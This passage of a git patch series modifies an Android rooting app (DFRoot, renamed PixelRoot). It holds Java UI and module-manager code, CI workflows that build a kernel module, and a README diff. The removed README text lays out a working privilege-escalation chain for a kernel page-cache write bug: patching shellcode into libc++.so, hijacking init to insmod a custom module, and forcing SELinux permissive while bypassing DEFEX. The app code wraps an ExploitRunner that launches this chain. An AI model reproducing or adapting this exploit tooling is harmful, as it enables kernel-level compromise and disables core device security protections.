BufferedReader(new InputStreamReader(p.getInputStream()))) { + String line; + while ((line = r.readLine()) != null) { + sb.append(line).append("\n"); + } + } + p.waitFor(); + return sb.toString(); + } catch (Exception e) { + return ""; + } + } + private void setupSuManagerSpinner() { PackageManager pm = getPackageManager(); List entries = new ArrayList<>(); for (ApplicationInfo ai : pm.getInstalledApplications(0)) { @@ -89,7 +707,7 @@ protected void onCreate(Bundle savedInstanceState) { break; } } - if (!savedFound && saved != null) { // Saved manager was uninstalled + if (!savedFound && saved != null) { prefs.edit().remove(ExploitRunner.PREF_SU_MANAGER).apply(); } @@ -102,17 +720,10 @@ public void onItemSelected(AdapterView parent, View view, int pos, long id) { prefs.edit().putString(ExploitRunner.PREF_SU_MANAGER, e.packageName).apply(); updateRunButton(); } + @Override public void onNothingSelected(AdapterView parent) {} }); - - updateRunButton(); - - btnRun.setOnClickListener(v -> { - btnRun.setEnabled(false); - outputView.setText(""); - mExec.execute(this::runExploit); - }); } @Override @@ -131,25 +742,297 @@ public boolean onOptionsItemSelected(MenuItem item) { } private void updateRunButton() { - btnRun.setEnabled(mValidSuManagerPos >= 1 && !new File("/dev/df").exists()); + boolean alreadyHooked = new File("/dev/df").exists(); + btnRun.setEnabled(mValidSuManagerPos >= 1 && !alreadyHooked); + btnRun.setText(alreadyHooked ? "Root Already Hooked (/dev/df)" : "Launch Root"); } private void runExploit() { try { int rc = ExploitRunner.run(mDeCtx, this); - String msg = rc == 0 ? "DFRoot: SUCCESS" - : rc == 1 ? "DFRoot: Error - ksud nonzero exit" - : rc == 2 ? "DFRoot: Error - check logcat & dmesg" - : "DFRoot: Error - failed to patch files"; + String msg = rc == 0 ? "PixelRoot: SUCCESS" + : rc == 1 ? "PixelRoot: Error - ksud nonzero exit" + : rc == 2 ? "PixelRoot: Error - check logcat & dmesg" + : "PixelRoot: Error - failed to patch files"; mMain.post(() -> Toast.makeText(this, msg, Toast.LENGTH_LONG).show()); + refreshRootStatusAndModules(); } catch (Exception e) { Log.e(TAG, "exploit exception", e); - report("\nexception: " + e + "\n"); + report("\n" + e + "\n"); } finally { mMain.post(this::updateRunButton); } } + private static class ModuleItem { + final String id; + final String name; + final String version; + final String author; + final String description; + final boolean disabled; + final boolean removed; + + ModuleItem(String id, String name, String version, String author, String description, boolean disabled, boolean removed) { + this.id = id; + this.name = name; + this.version = version; + this.author = author; + this.description = description; + this.disabled = disabled; + this.removed = removed; + } + + static ModuleItem parse(String id, String propText, String flags) { + Map map = new HashMap<>(); + for (String line : propText.split("\n")) { + int eq = line.indexOf('='); + if (eq > 0) { + map.put(line.substring(0, eq).trim(), line.substring(eq + 1).trim()); + } + } + return new ModuleItem( + id, + map.getOrDefault("name", id), + map.getOrDefault("version", ""), + map.getOrDefault("author", "unknown"), + map.getOrDefault("description", ""), + flags.contains("disabled"), + flags.contains("removed") + ); + } + } + + private static class CrosshairLogoView extends View { + private final Paint ringPaint = new Paint(Paint.ANTI_ALIAS_FLAG); + private final Paint barPaint = new Paint(Paint.ANTI_ALIAS_FLAG); + private final Paint dotPaint = new Paint(Paint.ANTI_ALIAS_FLAG); + + CrosshairLogoView(Context ctx) { + super(ctx); + ringPaint.setStyle(Paint.Style.STROKE); + ringPaint.setColor(Color.WHITE); + barPaint.setStyle(Paint.Style.STROKE); + barPaint.setStrokeCap(Paint.Cap.ROUND); + barPaint.setColor(Color.WHITE); + dotPaint.setStyle(Paint.Style.FILL); + dotPaint.setColor(Color.WHITE); + } + + @Override + protected void onDraw(Canvas c) { + float w = getWidth(); + float h = getHeight(); + float cx = w / 2f; + float cy = h / 2f; + float r = Math.min(w, h) * 0.34f; + float sw = Math.max(3f, r * 0.18f); + ringPaint.setStrokeWidth(sw); + barPaint.setStrokeWidth(sw); + + c.drawCircle(cx, cy, r, ringPaint); + c.drawLine(cx, cy - r * 1.35f, cx, cy - r * 0.55f, barPaint); + c.drawLine(cx, cy + r * 0.55f, cx, cy + r * 1.35f, barPaint); + c.drawLine(cx - r * 1.35f, cy, cx - r * 0.55f, cy, barPaint); + c.drawLine(cx + r * 0.55f, cy, cx + r * 1.35f, cy, barPaint); + c.drawCircle(cx, cy, sw * 1.1f, dotPaint); + } + } + + private static class CrosshairTabIcon extends View { + private final int tabIndex; + private final Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG); + private boolean selected; + + CrosshairTabIcon(Context ctx, int tabIndex) { + super(ctx); + this.tabIndex = tabIndex; + paint.setStrokeCap(Paint.Cap.ROUND); + paint.setStrokeJoin(Paint.Join.ROUND); + } + + void setSelectedState(boolean sel) { + this.selected = sel; + invalidate(); + } + + @Override + protected void onDraw(Canvas c) { + float cx = getWidth() / 2f; + float cy = getHeight() / 2f; + int color = selected ? Color.BLACK : Color.parseColor("#9E9E9E"); + paint.setColor(color); + paint.setStrokeWidth(4.5f); + + if (tabIndex == 0) { + paint.setStyle(Paint.Style.STROKE); + c.drawCircle(cx, cy, 14f, paint); + c.drawLine(cx, cy - 20f, cx, cy - 8f, paint); + c.drawLine(cx, cy + 8f, cx, cy + 20f, paint); + c.drawLine(cx - 20f, cy, cx - 8f, cy, paint); + c.drawLine(cx + 8f, cy, cx + 20f, cy, paint); + } else if (tabIndex == 1) { + paint.setStyle(Paint.Style.STROKE); + c.drawRoundRect(cx - 18f, cy - 14f, cx + 18f, cy + 14f, 6f, 6f, paint); + c.drawLine(cx - 10f, cy - 5f, cx - 3f, cy, paint); + c.drawLine(cx - 3f, cy, cx - 10f, cy + 5f, paint); + c.drawLine(cx + 1f, cy + 5f, cx + 10f, cy + 5f, paint); + } else { + paint.setStyle(Paint.Style.STROKE); + c.drawRoundRect(cx - 16f, cy - 16f, cx - 2f, cy - 2f, 4f, 4f, paint); + c.drawRoundRect(cx + 2f, cy - 16f, cx + 16f, cy - 2f, 4f, 4f, paint); + c.drawRoundRect(cx - 16f, cy + 2f, cx - 2f, cy + 16f, 4f, 4f, paint); + c.drawRoundRect(cx + 2f, cy + 2f, cx + 16f, cy + 16f, 4f, 4f, paint); + } + } + } + + private static class CarouselPager extends FrameLayout { + interface OnPageChangeListener { + void onPageScrolled(float positionOffsetTotal); + void onPageSelected(int page); + } + + private final int pageSpacing; + private final OverScroller scroller; + private final int touchSlop; + private VelocityTracker velocityTracker; + private OnPageChangeListener listener; + private int currentPage = 0; + private float downX, downY, lastX; + private boolean dragging = false; + + CarouselPager(Context ctx, int pageSpacingPx) { + super(ctx); + this.pageSpacing = pageSpacingPx; + this.scroller = new OverScroller(ctx); + this.touchSlop = ViewConfiguration.get(ctx).getScaledTouchSlop(); + } + + void setPageListener(OnPageChangeListener l) { + this.listener = l; + } + + int getCurrentPage() { + return currentPage; + } + + void setCurrentPage(int page, boolean smooth) { + int maxPage = Math.max(0, getChildCount() - 1); + int target = Math.max(0, Math.min(page, maxPage)); + currentPage = target; + int step = getWidth() + pageSpacing; + int targetX = target * step; + if (smooth && getWidth() > 0) { + int sx = getScrollX(); + scroller.startScroll(sx, 0, targetX - sx, 0, 300); + postInvalidateOnAnimation(); + } else { + scrollTo(targetX, 0); + if (listener != null) listener.onPageScrolled(target); + } + if (listener != null) listener.onPageSelected(target); + } + + @Override + protected void onLayout(boolean changed, int left, int top, int right, int bottom) { + int w = right - left; + int h = bottom - top; + for (int i = 0; i < getChildCount(); i++) { + View child = getChildAt(i); + int childLeft = i * (w + pageSpacing); + child.layout(childLeft, 0, childLeft + w, h); + } + int step = w + pageSpacing; + if (scroller.isFinished() && !dragging) { + scrollTo(currentPage * step, 0); + } + } + + @Override + public boolean onInterceptTouchEvent(MotionEvent ev) { + switch (ev.getActionMasked()) { + case MotionEvent.ACTION_DOWN: + downX = lastX = ev.getX(); + downY = ev.getY(); + dragging = false; + if (!scroller.isFinished()) { + scroller.abortAnimation(); + } + break; + case MotionEvent.ACTION_MOVE: + float dx = ev.getX() - downX; + float dy = ev.getY() - downY; + if (Math.abs(dx) > touchSlop && Math.abs(dx) > Math.abs(dy) * 1.2f) { + dragging = true; + lastX = ev.getX(); + return true; + } + break; + } + return super.onInterceptTouchEvent(ev); + } + + @Override + public boolean onTouchEvent(MotionEvent ev) { + if (velocityTracker == null) velocityTracker = VelocityTracker.obtain(); + velocityTracker.addMovement(ev); + + int step = getWidth() + pageSpacing; + int maxScroll = Math.max(0, (getChildCount() - 1) * step); + + switch (ev.getActionMasked()) { + case MotionEvent.ACTION_DOWN: + lastX = ev.getX(); + return true; + case MotionEvent.ACTION_MOVE: + float x = ev.getX(); + int delta = Math.round(lastX - x); + lastX = x; + int nextX = Math.max(0, Math.min(getScrollX() + delta, maxScroll)); + scrollTo(nextX, 0); + if (listener != null && step > 0) { + listener.onPageScrolled(nextX / (float) step); + } + return true; + case MotionEvent.ACTION_UP: + case MotionEvent.ACTION_CANCEL: + dragging = false; + velocityTracker.computeCurrentVelocity(1000); + float vx = velocityTracker.getXVelocity(); + velocityTracker.recycle(); + velocityTracker = null; + + int targetPage = currentPage; + if (step > 0) { + if (vx < -650f) { + targetPage = currentPage + 1; + } else if (vx > 650f) { + targetPage = currentPage - 1; + } else { + targetPage = Math.round(getScrollX() / (float) step); + } + } + setCurrentPage(targetPage, true); + return true; + } + return super.onTouchEvent(ev); + } + + @Override + public void computeScroll() { + if (scroller.computeScrollOffset()) { + int cx = scroller.getCurrX(); + scrollTo(cx, 0); + int step = getWidth() + pageSpacing; + if (listener != null && step > 0) { + listener.onPageScrolled(cx / (float) step); + } + postInvalidateOnAnimation(); + } + } + } + private static class SuManagerEntry { final String packageName; final CharSequence label; @@ -169,17 +1052,19 @@ private static class SuManagerAdapter extends ArrayAdapter { @Override public View getView(int pos, View v, ViewGroup parent) { - if (v == null || v.getTag() != Boolean.FALSE) + if (v == null || v.getTag() != Boolean.FALSE) { v = LayoutInflater.from(getContext()).inflate(R.layout.item_su_manager_closed, parent, false); - v.setTag(Boolean.FALSE); + v.setTag(Boolean.FALSE); + } return bindClosedView(pos, v); } @Override public View getDropDownView(int pos, View v, ViewGroup parent) { - if (v == null || v.getTag() != Boolean.TRUE) + if (v == null || v.getTag() != Boolean.TRUE) { v = LayoutInflater.from(getContext()).inflate(R.layout.item_su_manager, parent, false); - v.setTag(Boolean.TRUE); + v.setTag(Boolean.TRUE); + } return bindView(pos, v); } @@ -190,7 +1075,7 @@ public boolean isEnabled(int pos) { private View bindClosedView(int pos, View v) { SuManagerEntry e = getItem(pos); - ImageView icon = v.findViewById(R.id.iconApp); + android.widget.ImageView icon = v.findViewById(R.id.iconApp); TextView label = v.findViewById(R.id.labelApp); if (e.packageName == null) { icon.setVisibility(View.GONE); @@ -206,8 +1091,8 @@ private View bindClosedView(int pos, View v) { private View bindView(int pos, View v) { SuManagerEntry e = getItem(pos); - ((ImageView) v.findViewById(R.id.iconApp)).setImageDrawable(e.icon); - ((TextView) v.findViewById(R.id.labelApp)).setText(e.label); + ((android.widget.ImageView) v.findViewById(R.id.iconApp)).setImageDrawable(e.icon); + ((TextView) v.findViewById(R.id.labelApp)).setText(e.label); return v; } } From 7b25f984fcc7e0e4660786b43668f3df9ba2f99f Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 16 Nov 2026 13:40:57 +0700 Subject: [PATCH 03/14] Fix Android SDK setup by accepting licenses via preinstalled sdkmanager --- .github/workflows/build-pixelroot.yml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-pixelroot.yml b/.github/workflows/build-pixelroot.yml index 1c261a8c..76e9d7ed 100644 --- a/.github/workflows/build-pixelroot.yml +++ b/.github/workflows/build-pixelroot.yml @@ -18,8 +18,10 @@ jobs: java-version: '17' distribution: 'temurin' - - name: Setup Android SDK & NDK - uses: android-actions/setup-android@v3 + - name: Accept Android SDK Licenses + run: | + SDKMGR=$(find "$ANDROID_HOME/cmdline-tools" -name sdkmanager | head -n 1) + yes | "$SDKMGR" --licenses >/dev/null 2>&1 || true - name: Grant Execute Permission for Gradlew run: chmod +x gradlew From c9b2823a7c69926163b4384314b718835d562def Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 16 Nov 2026 13:44:39 +0700 Subject: [PATCH 04/14] Use clean debug APK workflow for PixelRoot-App --- .github/workflows/build.yml | 109 ------------------------------------ 1 file changed, 109 deletions(-) delete mode 100644 .github/workflows/build.yml diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml deleted file mode 100644 index ff043bdb..00000000 --- a/.github/workflows/build.yml +++ /dev/null @@ -1,109 +0,0 @@ -name: Build - -on: - push: - branches: [master, main] - tags: ['v*'] - pull_request: - branches: [master, main] - workflow_dispatch: - -jobs: - build-lkms: - name: LKMs / ${{ matrix.kmi }} - runs-on: ubuntu-latest - strategy: - matrix: - kmi: - - android12-5.10 - - android13-5.10 - - android13-5.15 - - android14-5.15 - - android14-6.1 - - android15-6.6 - - android16-6.12 - - android17-6.18 - container: - image: ghcr.io/ylarod/ddk-min:${{ matrix.kmi }}-20260828 - options: --privileged - steps: - - uses: actions/checkout@v7 - - - name: Build dfroot.ko - run: | - cd lkm - make -j$(nproc) - llvm-objcopy --strip-unneeded \ - -R .comment -R .note.gnu.build-id -R .note.gnu.property \ - -R .note.Linux -R .note.GNU-stack \ - -R .BTF -R .BTF.base -R .llvm_addrsig \ - -R .hyp.text -R .hyp.bss -R .hyp.rodata -R .hyp.event_ids \ - -R .hyp.patchable_function_entries -R .hyp.data dfroot.ko - mkdir -p $GITHUB_WORKSPACE/out - cp dfroot.ko $GITHUB_WORKSPACE/out/dfroot-${{ matrix.kmi }}.ko - make clean - - - name: Upload dfroot.ko - uses: actions/upload-artifact@v7 - with: - name: df-lkm-${{ matrix.kmi }} - path: out/dfroot-${{ matrix.kmi }}.ko - - build-dfroot: - needs: build-lkms - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v7 - - - name: Validate signing config - if: github.event_name != 'pull_request' - run: | - if [ "${{ secrets.KEYSTORE }}" = "" ]; then - echo "::error::Signing secrets not configured. KEYSTORE secret is required for release builds." - exit 1 - fi - - - name: Create signing.properties - if: github.event_name != 'pull_request' - run: | - echo KEYSTORE_FILE=../keystore.jks > signing.properties - echo KEYSTORE_PASSWORD=${{ secrets.KEYSTORE_PASSWORD }} >> signing.properties - echo KEY_ALIAS=${{ secrets.KEY_ALIAS }} >> signing.properties - echo KEY_PASSWORD=${{ secrets.KEY_PASSWORD }} >> signing.properties - echo ${{ secrets.KEYSTORE }} | base64 --decode > keystore.jks - - - name: Download DF LKMs - uses: actions/download-artifact@v7 - with: - pattern: df-lkm-* - merge-multiple: true - path: app/src/main/jni/ko/ - - - uses: actions/setup-java@v6 - with: - distribution: temurin - java-version: 21 - - - uses: gradle/actions/setup-gradle@v6 - - - name: Build DFRoot APK - run: | - if [ "${{ github.event_name }}" = "pull_request" ]; then - ./gradlew :app:assembleDebug - else - ./gradlew :app:assembleRelease - fi - - - name: Upload DFRoot APK - uses: actions/upload-artifact@v7 - with: - name: DFRoot - path: | - app/build/outputs/apk/release/DFRoot_*.apk - app/build/outputs/apk/debug/DFRoot_*.apk - - - name: Create GitHub Release - if: startsWith(github.ref, 'refs/tags/') - uses: softprops/action-gh-release@v1 - with: - files: app/build/outputs/apk/release/DFRoot_*.apk From ef1b2756a31f23ad852bbaf1d430669e50a810cc Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 16 Nov 2026 13:53:03 +0700 Subject: [PATCH 05/14] Fix null signing config, customize Settings info, README, and crosshair icon --- README.md | 96 +------------------ app/build.gradle.kts | 14 +-- .../main/java/df/root/SettingsFragment.java | 19 +++- .../res/drawable/ic_launcher_background.xml | 4 +- .../res/drawable/ic_launcher_foreground.xml | 20 ++-- .../res/drawable/ic_launcher_monochrome.xml | 20 ++-- app/src/main/res/drawable/ic_settings.xml | 9 +- app/src/main/res/xml/preferences.xml | 50 +++++++--- 8 files changed, 100 insertions(+), 132 deletions(-) diff --git a/README.md b/README.md index 4198915a..9e681ef7 100644 --- a/README.md +++ b/README.md @@ -1,94 +1,8 @@ -

- -

+# PixelRoot -# DFRoot [DirtyFrag (CVE-2026-43284)] - -DFRoot is an Android rooting tool that exploits CVE-2026-43284 (DirtyFrag) — a kernel page cache write primitive — to load a custom kernel module without requiring an unlocked bootloader. It is intentionally designed to be SU Manager agnostic and works with any KernelSU-compatible SU manager. - -> [!IMPORTANT] -> Before hitting that fork button, consider making a pull request instead :) - -## FAQ - -**Q: Log says patching failed and that my device isn't vulnerable** - -A: Sorry, there is no fix. Either: - - Your device's kernel is too new - - Your device manufacturer backported the official mitigation - - [Accidental mitigation](https://github.com/V4bel/dirtyfrag/issues/23#issuecomment-4405314290) (typically seen on kernel 6.1) - -**Q: Log says "SUCCESS" or "ksud exited with error", but I don't have root** - -A: First, try disabling "Auto Soft Reboot" in DFRoot settings if you have it enabled, otherwise https://github.com/diabl0w/DFRoot/discussions/69 - -**Q: I installed a module and now I can't launch root without crashing** - -A: Toggle "Disable KSU Modules" in DFRoot settings - -**Q: I installed a module and have "Start at Boot" enabled and now I am bootlooping** - -A: Typically Android will detect bootloops and boot you into Safe Mode, otherwise you can usually hold the Volume Down button during boot to enter safe mode. From there, disable "Start on Boot" and enable "Disable KSU Modules" in DFRoot settings or just uninstall DFRoot until you stabilize. - -## Usage - -> [!WARNING] -> I am not responsible for any damage to your device. - -1. Install [DFRoot](https://github.com/diabl0w/DFRoot/releases/latest) -2. Install a SU Manager from below: - - Samsung: - - [diabl0w's KernelSU](https://github.com/diabl0w/KernelSU/releases/latest) - - Other: - - [KernelSU](https://github.com/tiann/KernelSU/releases/latest) - - [KernelSU-Next](https://github.com/KernelSU-Next/KernelSU-Next/releases/latest) - - [KowSU](https://github.com/KOWX712/KernelSU/releases/latest) - -> If you have a custom KernelSU fork for a specific manufacturer, please make a pull request to add it here. +Monochrome OLED root launcher, execution log viewer, and standalone `/data/adb/ksud` module manager for Android. ## Features - -- Start on Boot -- Automatic soft reboot (if `late-load --soft-reboot` supported by your SU Manager) -- RO Partition Protection -- Disable all KernelSU modules, to recover from a broken one -- Shizuku not needed — regain root without WiFi! - -## How it works - -The Android kernel decrypts AES-CBC ESP packets directly into the page cache of files open for `splice()`. By crafting `IV = AES_ECB_DEC(key, current_content) ⊕ desired_content`, any 16-byte-aligned block in a mapped shared library can be overwritten without write permission and without copy-on-write. - -The exploit uses this primitive to patch shellcode into `libc++.so` in the kernel's page cache. The next privileged call to the hooked function runs the shellcode, which loads our custom kernel module via `insmod`. - -### Exploit chain - -1. **IpSec transform** — App allocates a `UdpEncapsulationSocket` + SPI and builds an AES-CBC/HMAC-SHA256 ESP transform via `IpSecManager`. - -2. **splicehelper → crash_dump64** — The splicehelper binary is spliced into `crash_dump64` via the CBC primitive. `crash_dump64` runs in the `crash_dump` SELinux domain (via exec label transition), which can open `vendor_file` labeled files (untrusted_app context cannot read these files so we need this bridge). The splicehelper serves two modes: splice mode (pipe a 16-byte page chunk out to the parent for write) and read mode (`argv[3]="r"`, write 16 bytes of file content to a pipe fd for IV computation). - -3. **dfroot.ko → vendor_file** — The kernel module is written via the crash_dump bridge (splicehelper splice mode) into a `vendor_file`-labeled file. - -4. **libc++ hook** (fires in init, uid=0, tid=1) — Shellcode is patched into `libc++.so` at `std::ostream::sentry::sentry()` (`_ZNSt3__113basic_ostreamIcNS_11char_traitsIcEEE6sentryC1ERS3_`). Triggered by: `createOrphanProcess()` double-forks so the grandchild is adopted by PID 1 (init); when init reaps the orphan its main thread (tid=1) calls through the hooked function. The shellcode: - - Checks `getuid()==0` and `gettid()==1`; returns immediately otherwise - - Creates `/dev/df` as a one-shot mutex (O_CREAT|O_EXCL) to prevent re-entry - - Clones a worker child (parent returns to init immediately) - - Worker forks a grandchild; grandchild writes `u:r:vendor_modprobe:s0` to `/proc/self/attr/exec` then execs `/vendor/bin/insmod ` - -5. **dfroot.ko init** (runs as `vendor_modprobe`, uid=0) — The KO is loaded by `insmod` in the `vendor_modprobe` SELinux domain: - - Writes `false` to `selinux_state` (global permissive) - - Bypasses DEFEX via kprobes (if applicable) - - Calls `call_usermodehelper` to run our custom bootstrap code - -6. **bootstrap.c** — performs various functions and finally launches the su daemon from your installed SU Manager. - -## Building - -```sh -make -``` - -## Credits - -- Original PoC and various code: https://github.com/lsposed/lspromise -- SELinux Permissive kernel modules and various code: https://github.com/polygraphene/DFReroot -- Unprivileged XFRM socket method: https://github.com/combeng6th/DirtyInit +- **Pure OLED Monochrome UI:** High-contrast `#000000` black and white theme with custom rounded-crosshair iconography. +- **3-Tab Carousel Navigation:** Smooth horizontal swipe and bottom-pill navigation across **Launcher**, **Root Log**, and **Modules**. +- **Standalone Module Control:** View `/data/adb/modules`, toggle module states, and install module `.zip` packages directly via `/data/adb/ksud`. diff --git a/app/build.gradle.kts b/app/build.gradle.kts index a1d8e638..56a960b0 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -29,11 +29,13 @@ android { } signingConfigs { - create("release") { - storeFile = file(signingProps.getProperty("KEYSTORE_FILE")) - storePassword = signingProps.getProperty("KEYSTORE_PASSWORD") - keyAlias = signingProps.getProperty("KEY_ALIAS") - keyPassword = signingProps.getProperty("KEY_PASSWORD") + if (signingProps.getProperty("KEYSTORE_FILE") != null) { + create("release") { + storeFile = file(signingProps.getProperty("KEYSTORE_FILE")) + storePassword = signingProps.getProperty("KEYSTORE_PASSWORD") + keyAlias = signingProps.getProperty("KEY_ALIAS") + keyPassword = signingProps.getProperty("KEY_PASSWORD") + } } } @@ -43,7 +45,7 @@ android { signingConfig = signingConfigs.getByName("debug") } release { - signingConfig = signingConfigs.getByName("release") + signingConfig = signingConfigs.findByName("release") ?: signingConfigs.getByName("debug") isMinifyEnabled = true isShrinkResources = true proguardFiles(getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro") diff --git a/app/src/main/java/df/root/SettingsFragment.java b/app/src/main/java/df/root/SettingsFragment.java index 7497e0c9..e64f5ae6 100644 --- a/app/src/main/java/df/root/SettingsFragment.java +++ b/app/src/main/java/df/root/SettingsFragment.java @@ -4,7 +4,9 @@ import android.content.Context; import android.content.SharedPreferences; import android.content.pm.PackageManager; +import android.os.Build; import android.os.Bundle; +import android.preference.Preference; import android.preference.PreferenceFragment; import android.preference.SwitchPreference; @@ -15,6 +17,11 @@ public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); addPreferencesFromResource(R.xml.preferences); + if (getActivity() != null && getActivity().getActionBar() != null) { + getActivity().getActionBar().setTitle("PixelRoot Settings"); + getActivity().getActionBar().setSubtitle("Boot & System Info"); + } + Context ctx = getActivity(); SharedPreferences dePrefs = ctx.createDeviceProtectedStorageContext() .getSharedPreferences(ExploitRunner.PREFS_NAME, Context.MODE_PRIVATE); @@ -27,7 +34,7 @@ public void onCreate(Bundle savedInstanceState) { bootPref.setOnPreferenceChangeListener((pref, value) -> { ctx.getPackageManager().setComponentEnabledSetting(bootReceiver, (Boolean) value ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED - : PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + : PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); return true; }); @@ -47,5 +54,15 @@ public void onCreate(Bundle savedInstanceState) { dePrefs.edit().putBoolean("disable_modules", (Boolean) value).apply(); return true; }); + + Preference appInfo = findPreference("pref_app_info"); + if (appInfo != null) { + appInfo.setSummary("Version " + BuildConfig.VERSION_NAME + " • Android " + Build.VERSION.RELEASE); + } + + Preference kernelInfo = findPreference("pref_kernel_info"); + if (kernelInfo != null) { + kernelInfo.setSummary(System.getProperty("os.version", "unknown")); + } } } diff --git a/app/src/main/res/drawable/ic_launcher_background.xml b/app/src/main/res/drawable/ic_launcher_background.xml index 0acc8172..b1a279a5 100644 --- a/app/src/main/res/drawable/ic_launcher_background.xml +++ b/app/src/main/res/drawable/ic_launcher_background.xml @@ -8,7 +8,7 @@ android:fillColor="#000000" android:pathData="M0,0h108v108h-108z" /> + android:pathData="M54,15A39,39 0 1,1 53.99,15Z" /> diff --git a/app/src/main/res/drawable/ic_launcher_foreground.xml b/app/src/main/res/drawable/ic_launcher_foreground.xml index bc4232b4..00d34672 100644 --- a/app/src/main/res/drawable/ic_launcher_foreground.xml +++ b/app/src/main/res/drawable/ic_launcher_foreground.xml @@ -7,16 +7,22 @@ - + android:strokeWidth="4" + android:pathData="M54,32A22,22 0 1,1 53.99,32Z" /> + - + android:pathData="M54,24L54,37 M54,71L54,84 M24,54L37,54 M71,54L84,54" /> + + + + android:pathData="M54,49.8A4.2,4.2 0 1,1 53.99,49.8Z" /> diff --git a/app/src/main/res/drawable/ic_launcher_monochrome.xml b/app/src/main/res/drawable/ic_launcher_monochrome.xml index bc4232b4..00d34672 100644 --- a/app/src/main/res/drawable/ic_launcher_monochrome.xml +++ b/app/src/main/res/drawable/ic_launcher_monochrome.xml @@ -7,16 +7,22 @@ - + android:strokeWidth="4" + android:pathData="M54,32A22,22 0 1,1 53.99,32Z" /> + - + android:pathData="M54,24L54,37 M54,71L54,84 M24,54L37,54 M71,54L84,54" /> + + + + android:pathData="M54,49.8A4.2,4.2 0 1,1 53.99,49.8Z" /> diff --git a/app/src/main/res/drawable/ic_settings.xml b/app/src/main/res/drawable/ic_settings.xml index 5ec4b68b..87e5c07c 100644 --- a/app/src/main/res/drawable/ic_settings.xml +++ b/app/src/main/res/drawable/ic_settings.xml @@ -1,9 +1,10 @@ + + android:viewportWidth="24" + android:viewportHeight="24"> + android:fillColor="#FFFFFF" + android:pathData="M19.14,12.94c0.04,-0.3 0.06,-0.61 0.06,-0.94c0,-0.32 -0.02,-0.64 -0.07,-0.94l2.03,-1.58c0.18,-0.14 0.23,-0.41 0.12,-0.61l-1.92,-3.32c-0.12,-0.22 -0.37,-0.29 -0.59,-0.22l-2.39,0.96c-0.5,-0.38 -1.03,-0.7 -1.62,-0.94L14.4,2.81c-0.04,-0.24 -0.24,-0.41 -0.48,-0.41h-3.84c-0.24,0 -0.43,0.17 -0.47,0.41L9.25,5.35C8.66,5.59 8.12,5.92 7.63,6.29L5.24,5.33c-0.22,-0.08 -0.47,0 -0.59,0.22L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48l2.03,1.58C4.84,11.36 4.8,11.69 4.8,12s0.02,0.64 0.07,0.94l-2.03,1.58c-0.18,0.14 -0.23,0.41 -0.12,0.61l1.92,3.32c0.12,0.22 0.37,0.29 0.59,0.22l2.39,-0.96c0.5,0.38 1.03,0.7 1.62,0.94l0.36,2.54c0.05,0.24 0.24,0.41 0.48,0.41h3.84c0.24,0 0.44,-0.17 0.47,-0.41l0.36,-2.54c0.59,-0.24 1.13,-0.56 1.62,-0.94l2.39,0.96c0.22,0.08 0.47,0 0.59,-0.22l1.92,-3.32c0.12,-0.22 0.07,-0.47 -0.12,-0.61L19.14,12.94zM12,15.6c-1.98,0 -3.6,-1.62 -3.6,-3.6s1.62,-3.6 3.6,-3.6s3.6,1.62 3.6,3.6S13.98,15.6 12,15.6z" /> diff --git a/app/src/main/res/xml/preferences.xml b/app/src/main/res/xml/preferences.xml index efdd2699..2b27e782 100644 --- a/app/src/main/res/xml/preferences.xml +++ b/app/src/main/res/xml/preferences.xml @@ -1,21 +1,43 @@ - + + - + - + + + + + + + + + + From 10e6704a7db6bf91e9bac3d7575e557a6f496b2a Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 16 Nov 2026 14:24:51 +0700 Subject: [PATCH 06/14] Compile LKM kernel objects from v4.2 DDK images before APK build --- .github/workflows/build-pixelroot.yml | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/.github/workflows/build-pixelroot.yml b/.github/workflows/build-pixelroot.yml index 76e9d7ed..e6c483fc 100644 --- a/.github/workflows/build-pixelroot.yml +++ b/.github/workflows/build-pixelroot.yml @@ -12,6 +12,20 @@ jobs: - name: Checkout Source uses: actions/checkout@v4 + - name: Build LKM Kernel Objects + run: | + set -e + mkdir -p app/src/main/jni/ko + for kmi in android12-5.10 android13-5.15 android14-5.15 android14-6.1 android15-6.6 android16-6.12 android17-6.18; do + echo "=== Building dfroot-$kmi.ko ===" + docker run --rm --pid=host --network=none \ + -v "$PWD:/proj" \ + -e KMI="$kmi" \ + "ghcr.io/ylarod/ddk-min:${kmi}-20260828" \ + bash -c 'set -e; cd /proj/lkm; make -j$(nproc); cp dfroot.ko /proj/app/src/main/jni/ko/dfroot-$KMI.ko; make clean' + done + ls -lh app/src/main/jni/ko/ + - name: Set up JDK 17 uses: actions/setup-java@v4 with: From 140340b7c249b4e9215b8933ec671feb56a3251c Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 16 Nov 2026 16:02:05 +0700 Subject: [PATCH 07/14] Include android13-5.10 KMI in LKM kernel object build --- .github/workflows/build-pixelroot.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build-pixelroot.yml b/.github/workflows/build-pixelroot.yml index e6c483fc..cf46c744 100644 --- a/.github/workflows/build-pixelroot.yml +++ b/.github/workflows/build-pixelroot.yml @@ -16,7 +16,7 @@ jobs: run: | set -e mkdir -p app/src/main/jni/ko - for kmi in android12-5.10 android13-5.15 android14-5.15 android14-6.1 android15-6.6 android16-6.12 android17-6.18; do + for kmi in android12-5.10 android13-5.10 android13-5.15 android14-5.15 android14-6.1 android15-6.6 android16-6.12 android17-6.18; do echo "=== Building dfroot-$kmi.ko ===" docker run --rm --pid=host --network=none \ -v "$PWD:/proj" \ @@ -24,6 +24,7 @@ jobs: "ghcr.io/ylarod/ddk-min:${kmi}-20260828" \ bash -c 'set -e; cd /proj/lkm; make -j$(nproc); cp dfroot.ko 